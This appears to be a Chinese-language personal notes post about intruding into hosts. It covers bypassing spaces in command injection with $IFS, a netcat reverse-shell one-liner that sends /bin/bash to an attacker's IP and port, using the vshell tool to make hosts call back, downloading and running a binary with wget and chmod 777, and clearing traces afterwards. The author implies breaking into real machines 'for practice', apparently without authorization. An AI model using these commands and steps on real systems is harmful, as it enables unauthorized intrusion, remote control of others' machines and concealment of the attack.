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1、命令执行的漏洞我们执行命令的时候往往会有空格，比如unma -all，nc反弹shell的时候也需要空格。

尝试使用编码替代空格%20，$IFS$1，之类的替代空格。

例如： nc$IFS$1ip$IFS$1port$IFS$1-e$IFS$1/bin/bash

linux反弹shell，可以尝试nc、bash，sh之类的这种的最常用，其余的种类就很多了。

https://www.revshells.com/，这个站能够帮助我们直接生成反弹shell的命令。可以直接用。

2、关于上线

我尝试使用vshell这个工具，CS没用过，听说挺复杂的，vshell能一条命令上线，也能生成二进制文件上线。

遇到二坑就是权限不允许，wget下载二进制文件后，执行报错权限不允许。这个时候就得考虑chmod 777 文件名，这条
命令了。

更改完文件权限之后就 ./直接执行就行了。有时候二进制反弹shell文件不起效，就多换换，tcp、kcp几个的多试试。

3、入侵还是挺常见的，我发现我进去的主机几乎都被入侵过了，网络扫描行为无处不在啊，入侵行为也无处不在啊。

4、上线之后，就清楚点痕迹，下线，毕竟只为练手。还是买机场的订阅吧，自己整太累了。
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